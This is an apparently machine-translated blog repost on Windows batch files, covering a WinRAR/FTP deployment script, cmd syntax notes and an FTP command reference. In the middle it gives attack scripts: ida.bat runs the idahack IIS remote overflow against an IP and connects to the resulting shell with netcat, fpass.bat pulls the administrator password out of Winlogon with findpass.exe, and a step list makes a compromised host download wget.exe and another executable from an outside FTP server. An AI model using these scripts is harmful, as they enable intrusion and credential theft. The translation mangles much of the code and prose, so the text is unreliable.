BAT + WinRAR command line + ftp command line

xiaoxiao2021-03-06  111

Recently, due to frequent changes in a website, and you must be deployed to the remote server immediately after the modification, you must have manually compressed, upload, unzipped, but also to endure, but there are more times. So I have the idea of ​​writing a batch file.

The contents of the compressed upload file zip.bat are as follows:

REM Compact Website Directory, RARRAR command line, please see RAR Help "C: / Program Files / WinRAR / WinRar.exe" a -r -r -ep1 "d: /chat.rar" "f: / eclipse / Workspace / Chat / context /*.* "REM Deletes the JAR file in the RAR file, so you don't have to upload these big pieces" C: / Program files / winrar / winrar.exe "D" D: /Chat.rar "" * .jar "REM upload ftp -s: f: /VC/Chatftp.txt 211.155.224.210

The contents of the chatftp.txt file are as follows:

TestTestBellcd baoqfput d: /chat.rarbyexit

Log in to the server remotely, run the decompressed batch file:

REM decompression, covered does not prompt c: / werar/winrar.exe x d: /data/baoqf/chat.rar d: / tomcat / webapps / chat -r -yrem depth copy, overwriting is not prompted XCopy D: / Tomcat / WebAPPS / chat / context d: / tomcat / webapps / chat / e / yXcopy d: /tomcat/webapps/chat/abc.properties d: /tomcat/webapps/chat/web-inf/classes/abc.properties / yrem restart Tomcatd : /tomcat/bin/tomcat.exe stopd: /tomcat/bin/tomcat.exe start

Batch BAT file application

1. Help information for all built-in commands 2. Concept of environment variables 3. Built-in special symbols (actual use of intermediate attention avoidance) 4. Simple batch file concept 5. Annex 1 TMP.TXT 6. Annex 2 Sample.bat # ######################################################################################################################################################################################################################################################################################################## ############ 1. Help information for all built-in commands ######################## ############################################################## ? set /? rem /? if /? echo /? goto /? for /? shift /? call /? other needs of common commands type /? find /? findstr /? copy /? ______________________________________________________________________ will be all of the above help output To a file echo ver> tmp.txt echo cmd /? >> tmp.txt echo rad /? >> tmp.txt rad /? >> TMP.TXT ECHO IF /? >> TMP.TXT IF /? >> TMP.TXT ECHO GOTO /? >> TMP.TXT GOTO /? >> TMP.TXT Echo for /? >> TMP.TXT for /? >> TMP.TXT Echo shift /? >> tmp.txt echo call /? >> tmp.txt echo type /? >> tmp.txt type /? >> TMP. TXT Echo Find /? >> TMP.TXT FIND /? >> TMP.TXT Echo Findstr /? >> TMP.TXT FINDSTR /? >> TMP.TXT Echo Copy /? >> TMP.TXT COPY /? >> TMP .txt Type tmp.txt ______________________________________ _____ ################################################################ ############## 2. Concept of environment variable ########################## ######################################## _____________________________________________________ c: / Program Files> set ALLUSERSPROFILE = C: / Documents and Settings / All Users CommonProgramFiles = C: / Program Files / Common Files COMPUTERNAME = FIRST ComSpec = C: /WINNT/system32/cmd.exe NUMBER_OF_PROCESSORS = 1 OS = Windows_NT Os2LibPath = C : / Winnt / System32 / OS2 / DLL; PATH = C: / Winnt / System32; C: / Winnt; C: / Winnt / System32 / Wbem Pathext = .com;. EXE ;.BAT ;.CMD;

.VBS; .VBE; .JS; .JSE; .WSF; .WSH PROCESSOR_ARCHITECTURE = x86 PROCESSOR_IDENTIFIER = x86 Family 6 Model 6 Stepping 5, GenuineIntel PROCESSOR_LEVEL = 6 PROCESSOR_REVISION = 0605 ProgramFiles = C: / Program Files PROMPT = $ P $ G SystemDrive = C: SystemRoot = C: / WINNT TEMP = C: / WINNT / TEMP TMP = C: / WINNT / TEMP USERPROFILE = C: / Documents and Settings / Default User windir = C: / WINNT _____________________________________________________________________________ path: indicates executable program Search path. My suggestion is that you put your program COPY to% WINDIR% / system32 /. This directory. Generally you can automatically search. Syntax: Copy mychenxu.exe% windir% / system32 /. Usage point (.) ) Easy to use (English mode, half-angle) dual quotation (English mode, half angle) Double quotation number% Windir% variable %% WINDIR %% quadruple variable reference. We often use% TEMP% Temporary file directory% WINDIR% system directory% errorlevel% Exit the code output file to the temporary file directory. This makes it easy to clean up the current directory. Parameters with spaces. You should learn to use double quotes ("") to indicate, for example, for the PORGRAM File folder C: /> DIR P * C: / Table of Contents 2000-09-02 11:47 2,164 PDOS.DEF 1999-01-03 00:47

Program Files 1 file 2,164 bytes 1 directory 1,505,997,824 Available bytes C: /> CD Pro * C: / Program Files> C: /> C: /> CD "Program Files" C: / Program Files> ################################################################################################################################################################################################################################ ########################################### ############# 3. Built-in special symbol (actually use the middle pay attention to avoid) ########################################################################################################################################################################################################################################################## ###################################################################### Built-in the following characters cannot be used in the middle of the created file name to use Con Nul aux / / | | && ^> <* you can users, incruding white space. If you use the special characters <,>, | , &, or ^, you must precede them with the escape character (^) or quotation marks. If you use quotation marks, they are included as part of the value because everything following the equal sign is taken as the value. Consider the following Examples: (University: either you use ^ as the leader character. Or only use double quotes "" "to create the variable value new & name, type: set varName =

new ^ & name To create the variable value "new & name", type: set varname = "new & name" The ampersand (&), pipe (|), and parentheses () are special characters that must be preceded by the escape character (^) or Quotation Marks When You Pass The as arguments. Find "Pacific RIM

" nwtrade.txt if exist filename.

Del

FileName.) Else Echo filename. Missing> Create a file >> Add to a file back @ prefix character. The Bank does not display when the Bank is not displayed, you can use the Echo OFF to close the display ^ Pair of special symbols (> <&) The front lead character. The first only shows the AAA second output file BBB Echo 123456 ^> AAA Echo 1231231> BBB () contains the command (Echo aa & echo bb), and the same default separation symbol like spaces.; Note, indicating the back Note: Number Role | Pipe Operation & Usage: The first command & second command [& Article 3 Commands ...] Use this method to execute multiple commands at the same time, regardless of whether the command is executed DIR C: /*. E: / *. EXE & DIR E: / *. EXE & DIR E: / *. EXE & DIR E: The first command && second command [&& third command ...] When you encounter an error, Will not perform the back command, if there is no error, all commands have been executed; || Usage: The first command || Second command [|| Article 3 Commands ...] When you encounter the correct command After the next command will not be executed, if there is no correct command, all commands have been executed; common syntax formats IF [not] Errorlevel Number Command Para1 PARA2 IF [NOT] string1 == string2 command para1 para2 if [not] exist filename Command Para1 Para2 IF EXIST FileName Command Para1 Para2 If Not Exist FileName Command Para1 Para2 IF "% 1" == "" goto end if "% 1" == "Net" goto net if not "% 2" == "net" Goto Other If Errorlevel 1 Command Para1 Para2 IF NOT Errorlevel 1 Command Para1 Para2 FOR / L %% I in (Start, Step, End) Do Command [Command-Parameters] %% I for / f "eol =; tokens = 2, 3 * Delims =, "% I in (myfile.txt) do Echo% I% J% k According to the alphabetical order ijklmnopq. EOL = C - refers to the end of a line note character (one) Skip = n - means ignored at the beginning of the file The number of rows. Delims = xxx - Indicator jacket set. This default separator set replaces the space and the jumping.

######################################################################################################################################################################################################################################################################################################## ############# 4. Simple Batch File Concept ################################################################################################################################################################################################################################################################################### #################################################### TEST> A.TXT TYPE A.TXT Echo this is test 1111 >> A.txt Type A.txt echo this is test 22222> a.txt Type A.txt Second Echo is added to the third Echo will be emptied A. txt recreate a.txt netstat -n | find "3389" this will list all of the user's ip connection 3389 ________________ test.bat ___________________________________________________ @echo please care echo plese care 1111 echo plese care 2222 echo plese care 3333 @echo please care @. Echo Plese Care 1111 @echo discount Care 3333 REM does not display a comment statement, the Bank displays @Rem does not display the comment statement, the Bank does not display @IF EXIST% Windir% / System32 / Find.exe (Echo Find Find .exe !!!) Else (echo error: not find find.exe) @IF exist% Windir% / System32 / Fina.exe (Echo FIND FINA.EXE !!!) Else (Echo Error: not find Fina.exe) ___________________________________________________________________________ Here we have a specific program is idahack ida remote overflow as an example. it should be very simple. ___________________ ida.bat __________________ _______________________________ @rem ver 1.0 @if NOT exist% windir% / system32 / idahack.exe echo "ERROR: dont find idahack.exe" @if NOT exist% windir% / system32 / nc.exe echo "ERROR: dont find nc.exe "@IF"% 1 "==" "goto usage @if Not"% 2 "==" "goto sp2 tart @echo now start ... @PING% 1 @echo chinese win2k: 1 sp1: 2 SP2: 3 Idahack.exe% 1 80 1 99>% Temp% / _ TMP @echo "prog exit code" @Type% temp% / _ tmp @find "good luck"% temp% / _ tmp @echo " PROG EXIT CODE [% ERRORLEVEL%] Find [Goog Luck] @if Not Errorlevel 1 nc.exe% 1 99 @

Goto End P2 @ iDahack.exe% 1 80% 2 99% Temp% / _ TMP @Type% Temp% / _ TMP @Find "Good Luck"% TEMP% / _ TMP @if Not Errorlevel 1 nc.exe% 1 99 @goto end : USAGE @echo Example: ida.bat IP @echo Example: ida.bat IP (2,3):. END _____________________ ida.bat__END _________________________________ Here let us get the second file is the administrator's password most people say not. in fact, is not their own to enter the correct information ___________________________ fpass.bat ____________________________________________ @rem ver 1.0 @if nOT exist% windir% / system32 / findpass.exe echo. "ERROR: dont find findpass.exe" @if nOT exist% windir% / system32 / Pulist.exe echo "Error: DONT FIND PULIST.EXE" @echo start .... @echo ____________________________________________ @if "% 1" == "" GOTO USAGE @ Findpass.exe% 1% 2% 3 >>% TEMP% /_findpass.txt @echo "prog exit code [% errorlevel%] findpass.exe" @type% temp% / _ findpass.txt @echo ________________________________ Here__pass ★★★★★★★★ @ipconfig / all >>% temp% / _ findpass .txt @goto end: usage @ pulist.exe>% temp% / _ pass.txt @ FindStr.exe / i "Winlogon Explorer INTERNAT"% TEMP% / _ Pass .txt @echo "Example: fpass.bat% 1% 2% 3% 4 !!!" @echo "usage: Findpass.exe domainname Username Pid-of-Winlogon": end @echo "fpass.bat% computername%%%% USERNAME% administrator "@echo" fpass.bat end [% errorlevel%]! "_________________ fpass.bat ___ END___________________________________________________________ there is already a telnet landed on a remote host. how to upload files (win) in turn enter the following in the window of thing. of course You can also copy .ctrl V. CTRL V. Just wait !! echo open 210.64.x.4 3396> W echo read >> W echo read >> W Echo CD Winnt >> W echo binary >> W echo pwd> >

W echo get wget.exe >> w echo get any.exe >> w echo quit >> w ftp -s: w ftp command line reference ftp command is the most frequent command used by Internet users. First, whether it is in DOS or UNIX operating system, you will encounter a lot of FTP internal commands. Familiar with and flexibly applying the internal order of FTP, it can greatly facilitate the user, and receive a half-time. FTP command line format is: ftp-vding [hostname], where -V displays all response information of the remote server; -i limit FTP automatic login, ie not used; -NETRC file; -D use debugging mode; -g Cancel the global file name. The internal command used by FTP is as follows (brackets): 1.! [cmd [args]]: Perform interaction shell in the local machine, exit returns to the FTP environment, such as:! ls * .zip. 2. $ macro-ame [args]: Perform a macro definition macro-name. 3. Acount [Password]: Provides the supplemental password required to access the system resource after logging in to the remote system. 4.AppendLocal-file [Remote-file]: Add local files to the remote system host. If the remote system file name is not specified, the local file name is used. 5.ASCII: Use the ASCII type to transfer mode. 6.bell: After each command is executed, the computer bells once. 7.bin: Use binary files to transfer mode. 8.BYE: Exit the FTP session process. 9.case: When using the MGET, turn the uppercase of the remote host file name to lowercase letters. 10.cdRemote-Dir: Enter the remote host directory. 11.cdup: Enter the parent directory of the remote host directory. 12.chmodModeFile-name: Set the way the remote-name of the remote host file File-Name is mod, such as: chmod777a.out. 13.Close: Interrupt FTP session with the remote server (corresponding to Open). 14. CR: When using the ASSCII mode to transfer the file, convert the return line to the back. 15.DeleteRemote-file: Delete Remote Host Files. 16.debug [debug-value]: Setup debug mode, display each command sent to the remote host, such as Debup3, if set to 0, indicate canceling the debug. 17.DIR [remote-dir] [local-file]: Displays the remote host directory and store the results into the local file local-file. 18.Disconnection: with Close. 19.FormFormat: Sets the file transfer to Format, defaults to File mode. 20.GetRemote-file [local-file]: Transfer the remote host file Remote-file to local-file of the local hard drive. 21.Glob: Sets the file name extension of MDelete, MGET, MPUT, and does not extend the file name, the -g parameter with the command line is not extended. 22.hash: Each transfer is 1024 bytes, showing a Hash symbol (#). 23.Help [cmd]: Displays help information for the FTP internal command CMD, such as HelpGet. 24.idle [seconds]: Set the sleep timer of the remote server to [Seconds] seconds.

25. IMAGE: Sets the binary transfer mode (with binary). 26.lcd [dir]: Switch the local working directory to DIR. 27.ls [remote-dir] [local-file] Displays the remote directory Remote-Dir and stores local file local-file. 28.MACDEFMACRO-NAME: Define a macro, when you encounter the blade under MacDef, the macro definition ends. 29.mdelete [remote-file]: Delete remote host files. 30. MdirRemote-fileSlocal-file: Similar to DIR, but can specify multiple remote files, such as: mdir * .o. *. Zipoutfile. 31.MGetRemote-files: Transports multiple remote files. 32.mkdirDir-name: Built a directory in the remote host. 33.mlsRemote-filelocal-file: With nlist, but can specify multiple file names. 34.Mode [MODENAME]: Set file transfer mode to Modename, default is a Stream mode. 35.ModtimeFile-name: Displays the final modification time of the remote host file. 36. MPUTLOCAL-FILE: Transfer multiple files to the remote host. 37.newerfile-name: If the modification time of the file-name in the remote machine is closer to the same name file with the local hard disk, then retransmit the file. 38.nlist [remote-dir] [local-file]: Displays the file list of the remote host directory and stores local-file of the local hard drive. 39.NMAP [InputTernoutPattern]: Sets the file name mapping mechanism, making files to translate some characters in the file, such as: NMAP $ 1. $ 2 [$ 1, $ 2]. [$ 2, $ 3], transfer files When A1.A2.A3, the file name becomes A1, A2. This command is especially suitable for the case where the remote host is non-Unix machine. 40.ntrans [InChars]]: Sets the translation mechanism for file name characters, such as NTRANS1R, the file name LLL will become RRR. 41.OpenHost [Port]: Establish a specified FTP server connection to specify the connection port. 42. Passive: Enter the passive transmission method. 43.Prompt: Sets the interaction tips when multiple file transfer. 44.Proxyftp-cmd: In the secondary control connection, execute an FTP command, which allows two FTP servers to transfer files between two servers. The first FTP command must be Open to build a connection between the two servers first. 45.Putlocal-file [remote-file]: Transfer local file local-file to the remote host. 46.PWD: Displays the current working directory of the remote host. 47.quit: With BYE, exit the FTP session. 48. Quotearg1, Arg2 ...: Send parameters to remote FTP servers, such as quoteesyst. 49.Recvremote-file [local-file]: with Get. 50.RegetRemote-file [local-file]: Similar to GET, but if local-file exists, it is submitted from the last transmission interrupt. 51.rhelp [cmd-name]: Requests to get the help of the remote host.

转载请注明原文地址:https://www.9cbs.com/read-103138.html

New Post(0)